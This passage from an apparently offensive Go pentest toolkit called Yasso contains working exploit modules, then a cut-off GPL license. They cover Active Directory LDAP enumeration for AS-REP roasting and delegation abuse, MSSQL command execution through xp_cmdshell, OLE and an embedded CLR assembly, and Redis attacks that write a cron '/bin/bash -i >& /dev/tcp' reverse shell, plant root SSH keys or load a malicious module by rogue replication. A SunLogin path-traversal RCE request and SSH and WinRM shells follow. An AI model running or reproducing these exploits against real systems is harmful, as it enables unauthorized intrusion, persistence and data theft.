if len(entry.GetAttributeValue("objectGUID")) > 0 {
guid, err := LdapGUID(entry.GetRawAttributeValue("objectGUID"))
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object GUID: %s", guid)},
})
}
}
if len(entry.GetAttributeValue("objectSid")) > 0 {
sidByte := []byte(entry.GetAttributeValue("objectSid"))
sid, err := LdapSID(sidByte)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object SID: %s", sid)},
})
}
}
}

44
pkg/exploit/ldap/ldap.go Normal file
View File

@@ -0,0 +1,44 @@
package ldap
import (
"Yasso/pkg/exploit/ldap/core/query"
"fmt"
"strings"
)
// LdapAuthAndQuery ldap 认证并且查询目标
// 设置参数 command , filter, user , password, dc host , name
func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) {
s := strings.Split(ldapServer, ".")
baseDN := ""
for x := 1; x < len(s); x++ {
if x == len(s)-1 {
baseDN += "DC=" + s[x]
} else {
baseDN += "DC=" + s[x] + ","
}
}
ldapServer = fmt.Sprintf("%s:389", ldapServer)
query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all)
}
func ListLdapCommand() {
fmt.Println(" 可执行的查询命令")
fmt.Println(" dc - 列出域控制器")
fmt.Println(" domain-trust - 列出域信任关系")
fmt.Println(" users - 列出域内全部用户")
fmt.Println(" computers - 列出域内全部计算机")
fmt.Println(" groups - 列出域内组和成员")
fmt.Println(" spn - 列出服务的spn对象")
fmt.Println(" never-loggedon - 列出域内从未登陆过的用户")
fmt.Println(" gpo - 列出gpo规则对象")
fmt.Println(" ou - 列出组织单位")
fmt.Println(" ms-sql - 列出SQL Server服务(注册的)")
fmt.Println(" asreproast - 列出AS-REP可托管账户")
fmt.Println(" unconstrained - 列出不受约束委派的用户")
fmt.Println(" admin-priv - 列出域内管理员权限组")
fmt.Println(" 可执行的过滤器指令(users,groups,computers)")
fmt.Println(" list - 仅仅列出全部对象")
fmt.Println(" full-data - 列出全部对象带有对象属性")
fmt.Println(" membership - 列出全部的成员从一个对象当中")
}

213
pkg/exploit/mssql/mssql.go Normal file
View File

@@ -0,0 +1,213 @@
package mssql
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"database/sql"
_ "embed"
"fmt"
"strconv"
"time"
)
//go:embed static/SharpSQLKit.txt
var SharpSQLKit string
func ExploitMssql(exploits config.Exploits, method int, Command string) {
var (
conn = new(setting)
)
mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
}, exploits.User, exploits.Pass)
if status == false || err != nil {
logger.Fatal("conn mssql failed")
return
}
switch method {
case 1:
conn.Setting(mssqlConn)
conn.xp_shell(Command)
case 2:
conn.Setting(mssqlConn)
conn.sp_shell(Command)
case 3:
conn.Setting(mssqlConn)
conn.Install_clr()
case 4:
conn.Setting(mssqlConn)
conn.Uninstall_clr()
default:
logger.Fatal("not found mssql exploit method")
return
}
}
func (s *setting) Setting(conn *sql.DB) {
s.Conn = conn
}
type setting struct {
Conn *sql.DB
Command string
}
func (s *setting) xp_shell(Command string) bool {
if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() {
return false
}
logger.Success(fmt.Sprintf("Command: %v", Command))
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
r, err := config.SQLExecute(s.Conn, sqlstr)
if err != nil {
logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err))
return false
}
for _, b := range r.Rows {
fmt.Println(b[0])
}
return true
}
func (s *setting) sp_shell(Command string) bool {
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
return false
}
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`, Command)
logger.Success(fmt.Sprintf("Command: %v", Command))
r, err := config.SQLExecute(s.Conn, sqlstr)
if err != nil {
logger.Fatal(fmt.Sprintf("exec ole command failed %v", err))
return false
}
for i, b := range r.Rows {
fmt.Println(b[i])
}
return true
}
func (s *setting) Enable_ole() bool {
if !s.set_configuration("show advanced options", 1) {
logger.Fatal("cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 1) {
logger.Fatal("cannot enable 'Ole Automation Procedures'")
return false
}
return true
}
func (s *setting) check_configuration(option string, value int) bool {
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
r, err := config.SQLExecute(s.Conn, Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func (s *setting) set_configuration(option string, value int) bool {
// 设置
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
return false
}
return s.check_configuration(option, value)
}
func (s *setting) set_permission_set() bool {
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON")
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed")
return false
}
return true
}
func (s *setting) enable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options", 1) {
logger.Fatal("cannot ebable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell", 1) {
logger.Fatal("cannot enable 'xp_cmdshell'")
return false
}
return true
}
func (s *setting) Install_clr() bool {
if !s.set_permission_set() {
return false
}
if !s.CREATE_ASSEMBLY() {
return false
}
if !s.CREATE_PROCEDURE() {
return false
}
logger.Info("Install SharpSQLKit successful!")
logger.Info("Please Use SQL Connect Tools to Execute")
return true
}
func (s *setting) CREATE_ASSEMBLY() bool {
var KitHex string
logger.Info("SQLKit ==> SharpSQLKit")
KitHex = SharpSQLKit
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x%s
WITH PERMISSION_SET = UNSAFE;`, KitHex)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err))
return false
}
logger.Info("Import the assembly")
return true
}
func (s *setting) CREATE_PROCEDURE() bool {
var Command string
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err))
return false
}
logger.Info("Link the assembly to a stored procedure")
return true
}
func (s *setting) Uninstall_clr() bool {
var Command string
logger.Info("SQLKit ==> SharpSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
_, err := config.SQLExecute(s.Conn, Command)
if err != nil {
logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err))
return false
}
logger.Info("uninstall SQLKit successful!")
return true
}

499
pkg/exploit/redis/redis.go Normal file
View File

@@ -0,0 +1,499 @@
package redis
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"bufio"
"context"
_ "embed"
"errors"
"fmt"
"github.com/go-redis/redis/v8"
"io"
"net"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
//go:embed static/exp.so
var payload []byte
func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
var conn net.Conn
var err error
var status bool
switch method {
case 1: // redis写定时计划
if exploits.Pass == "" {
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", "")
} else {
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, exploits.User, exploits.Pass)
}
if err != nil || status == false {
logger.Fatal("Redis auth has an error")
return
}
redisCron(conn, rebound)
case 2: // redis 写key
if exploits.Pass == "" {
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", "")
} else {
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", exploits.Pass)
}
if err != nil || status == false {
logger.Fatal("Redis auth has an error")
return
}
redisKey(conn, filename)
case 3:
client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
var lhost string
var lport int
if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
lhost = strings.Split(Listen, ":")[0]
lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
}
soWrite(client, lhost, lport, soPath)
default:
logger.Fatal("not found redis exploit method")
return
}
}
func test(conn net.Conn) (cron bool, ssh bool, err error) {
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false, false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply, "OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false, ssh, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply, "OK") {
cron = true
}
return cron, ssh, nil
}
func redisCron(conn net.Conn, ReboundAddress string) bool {
c, _, err := test(conn)
if err != nil {
logger.Fatal("redis may be not write")
return false
}
if c {
status, err := cronWrite(conn, ReboundAddress)
if err != nil {
logger.Fatal("write rebound shell address failed")
return false
}
if status {
logger.Info("write rebound shell address success")
return true
} else {
logger.Fatal("write rebound shell address failed")
}
} else {
logger.Fatal("write rebound shell address failed")
}
return false
}
func redisKey(conn net.Conn, filename string) bool {
_, k, err := test(conn)
if err != nil {
logger.Fatal("redis may be not write")
return false
}
if k {
status, err := keyWrite(conn, filename)
if err != nil {
logger.Fatal("write public key into /root/.ssh/ failed")
return false
}
if status {
logger.Info("write public key into /root/.ssh/ success")
return true
} else {
logger.Fatal("write public key into /root/.ssh/ failed")
}
} else {
logger.Fatal("write public key into /root/.ssh/ failed")
}
return false
}
func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
var (
remote = strings.Split(ReboundAddress, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host, port = remote[0], remote[1]
} else {
return false, errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
// 数据库设置成功
if strings.Contains(reply, "+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("save corn success")
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("restore the original dbfilename")
}
}
}
return flag, nil
}
func keyWrite(conn net.Conn, filename string) (bool, error) {
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false, err
}
reply, err := plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false, err
}
reply, err := plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
key, err := readKeyFile(filename)
if err != nil {
return false, err
}
if len(key) == 0 {
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("Restore the original dbfilename")
}
}
}
return flag, nil
}
func readKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
// 设置so文件存放路径
var dest string
if soPath == "" {
dest = "/tmp/net.so"
} else {
dest = soPath
}
rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
dbfilename, dir := getInformation(client)
filenameDir, filename := filepath.Split(dest)
rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
// 做监听
listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
// 重置数据库
reStore(client, dir, dbfilename)
// 加载so文件
s := rexec(fmt.Sprintf("module load %v", dest), client)
if s == "need unload" {
logger.Info("try to unload")
rexec(fmt.Sprintf("module unload system"), client)
logger.Info("to the load")
rexec(fmt.Sprintf("module load %v", dest), client)
}
logger.Info("module load success")
// 循环执行命令
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-rce]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
cmd = fmt.Sprintf("rm %v", dest)
run(fmt.Sprintf(cmd), client)
rexec(fmt.Sprintf("module unload system"), client)
logger.Info("module unload system break redis-rce")
break
}
receive(run(fmt.Sprintf(cmd), client))
}
os.Exit(0)
}
func initRedisClient(host string, port int, pass string) *redis.Client {
rdb := redis.NewClient(&redis.Options{
Addr: fmt.Sprintf("%v:%v", host, port),
Password: pass, // no password set
DB: 0, // use default DB
})
return rdb
}
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
defer wg.Done()
buf := make([]byte, 1024)
for {
time.Sleep(1 * time.Second)
n, err := c.Read(buf)
if err == io.EOF || n == 0 {
logger.Info("master-slave replication process is complete")
return
}
switch {
case strings.Contains(string(buf[:n]), "PING"):
_, _ = c.Write([]byte("+PONG\r\n"))
//Send("+PONG")
case strings.Contains(string(buf[:n]), "REPLCONF"):
_, _ = c.Write([]byte("+OK\r\n"))
//Send("+OK")
case strings.Contains(string(buf[:n]), "SYNC"):
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
rep := []byte(resp)
rep = append(rep, payload...)
rep = append(rep, []byte("\r\n")...)
_, _ = c.Write(rep)
//Send(resp)
}
}
}
func rexec(cmd string, client *redis.Client) string {
args := strings.Fields(cmd)
var argsInterface []interface{}
for _, arg := range args {
argsInterface = append(argsInterface, arg)
}
//Send(cmd)
val, err := client.Do(context.Background(), argsInterface...).Result()
return check(val, err)
}
func check(val interface{}, err error) string {
if err != nil {
if err == redis.Nil {
logger.Fatal("key is not exist")
return ""
}
logger.Fatal(fmt.Sprintf("%v", err.Error()))
if err.Error() == "error loading the extension. Please check the server logs." {
return "need unload"
}
os.Exit(0)
}
switch v := val.(type) {
case string:
return v
case []string:
return "list result:" + strings.Join(v, " ")
case []interface{}:
s := ""
for _, i := range v {
s += i.(string) + " "
}
return s
}
return ""
}
func run(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "system.exec", cmd).Result()
return check(val, err)
}
func receive(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("%v", str))
}
func getInformation(client *redis.Client) (string, string) {
r := rexec("config get dbfilename", client)
if !strings.HasPrefix(r, "dbfilename") {
return "", ""
}
dbfilename := r[11 : len(r)-1]
d := rexec("config get dir", client)
if !strings.HasPrefix(d, "dir") {
return "", ""
}
dir := d[4 : len(d)-1]
return dbfilename, dir
}
func listenLocal(address string) {
var wg = &sync.WaitGroup{}
wg.Add(1)
addr, err := net.ResolveTCPAddr("tcp", address)
if err != nil {
logger.Fatal("resolve tcp address failed")
os.Exit(0)
}
listen, err := net.ListenTCP("tcp", addr)
if err != nil {
logger.Fatal("listen tcp address failed")
os.Exit(0)
}
defer func(listen *net.TCPListener) {
err := listen.Close()
if err != nil {
return
}
}(listen)
logger.Info(fmt.Sprintf("start listen in %v", address))
c, err := listen.AcceptTCP()
if err != nil {
logger.Fatal("accept tcp failed")
os.Exit(0)
}
go masterSlave(wg, c)
wg.Wait()
_ = c.Close()
}
func reStore(client *redis.Client, dir, dbfilename string) {
success := rexec("slaveof no one", client)
if strings.Contains(success, "OK") {
logger.Info("restore file success")
}
rexec(fmt.Sprintf("config set dir %v", dir), client)
rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
}

76
pkg/exploit/ssh/ssh.go Normal file
View File

@@ -0,0 +1,76 @@
package ssh
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"fmt"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
"os"
"time"
)
func ExploitSSH(exploits config.Exploits, key string) {
var SshConn *ssh.Client
var status bool
var err error
if key == "" {
SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
}, exploits.User, exploits.Pass)
} else {
SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
PublicKey: key,
}, exploits.User)
}
if err != nil || status == false {
logger.Fatal("exploit ssh has an error conn to ssh failed")
return
}
loginSSH(SshConn) // 连接到ssh
}
func loginSSH(client *ssh.Client) {
defer client.Close()
session, err := client.NewSession()
if err != nil {
logger.Fatal(fmt.Sprintf("new ssh session failed %v", err))
return
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
session.Stdin = os.Stdin
modes := ssh.TerminalModes{
ssh.ECHO: 1,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
ssh.VSTATUS: 1,
}
fd := int(os.Stdin.Fd())
oldState, err := terminal.MakeRaw(fd)
if err != nil {
logger.Fatal(fmt.Sprintf("terminal failed %v", err))
}
defer terminal.Restore(fd, oldState)
w, h, err := terminal.GetSize(fd)
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err))
return
}
if err = session.Shell(); err != nil {
logger.Fatal(fmt.Sprintf("Session start shell failed %v", err))
return
}
if err = session.Wait(); err != nil {
logger.Fatal(fmt.Sprintf("Session wait failed %v", err))
return
}
}

View File

@@ -0,0 +1,66 @@
package sunlogin
import (
"Yasso/core/logger"
"Yasso/pkg/exploit/config"
"fmt"
"golang.org/x/text/encoding/simplifiedchinese"
"io"
"net/http"
"net/url"
"regexp"
"time"
)
func ExploitSunLogin(exploits config.Exploits, Command string) {
addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port)
verify := getVerify(addr)
if Command != "" {
re := runCmd(Command, addr, verify)
if re == "" {
logger.Fatal(fmt.Sprintf("exploit %s failed", addr))
return
} else {
logger.Info(re)
}
} else {
logger.Fatal("exploit need command params")
return
}
}
func getVerify(addr string) string { //获取Verify认证
resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr))
if err != nil {
return ""
}
b, _ := io.ReadAll(resp.Body)
reg := regexp.MustCompile(`"verify_string":"(.*?)"`)
result := reg.FindAllSubmatch(b, 1)
if len(result) > 0 {
if len(result[0]) == 2 {
return string(result[0][1])
}
}
return ""
}
func runCmd(cmd string, addr string, verify string) string {
cmd = url.QueryEscape(cmd)
target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd
req, err := http.NewRequest("GET", target, nil)
if err != nil {
return ""
}
req.Header.Add("Cookie", "CID="+verify)
var client = http.DefaultClient
client.Timeout = 5 * time.Second
resp, _ := client.Do(req)
if err != nil || resp == nil {
return ""
} else {
str, _ := io.ReadAll(resp.Body)
str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str)
//fmt.Println(string(str))
return string(str)
}
}

View File

@@ -0,0 +1,16 @@
package sunlogin
import (
"Yasso/pkg/exploit/config"
"testing"
)
func Test(t *testing.T) {
ExploitSunLogin(config.Exploits{
Hostname: "192.168.248.1",
Port: 49690,
User: "",
Pass: "",
}, "whoami")
}

View File

@@ -0,0 +1,62 @@
package winrm
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"fmt"
"github.com/masterzen/winrm"
"io"
"os"
"time"
)
func ExploitWinRM(exploits config.Exploits, Command string, isShell int) {
WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1000 * time.Millisecond,
}, exploits.User, exploits.Pass)
if err != nil || status == false {
return
}
switch isShell {
case 1:
WinRMShell(WinRMConn, Command, false)
case 2:
WinRMShell(WinRMConn, Command, true)
default:
logger.Fatal("not found exploit method")
return
}
}
func WinRMShell(client *winrm.Client, Command string, shell bool) {
if shell == true {
shell, err := client.CreateShell()
if err != nil {
logger.Fatal(fmt.Sprintf("create shell failed %v", err))
return
}
var cmd *winrm.Command
cmd, err = shell.Execute("cmd.exe")
if err != nil {
logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err))
return
}
go io.Copy(cmd.Stdin, os.Stdin)
go io.Copy(os.Stdout, cmd.Stdout)
go io.Copy(os.Stderr, cmd.Stderr)
cmd.Wait()
shell.Close()
} else {
_, err := client.Run(Command, os.Stdout, os.Stderr)
if err != nil {
logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err))
return
}
}
}

674
pkg/grdp/LICENSE Normal file
View File

@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
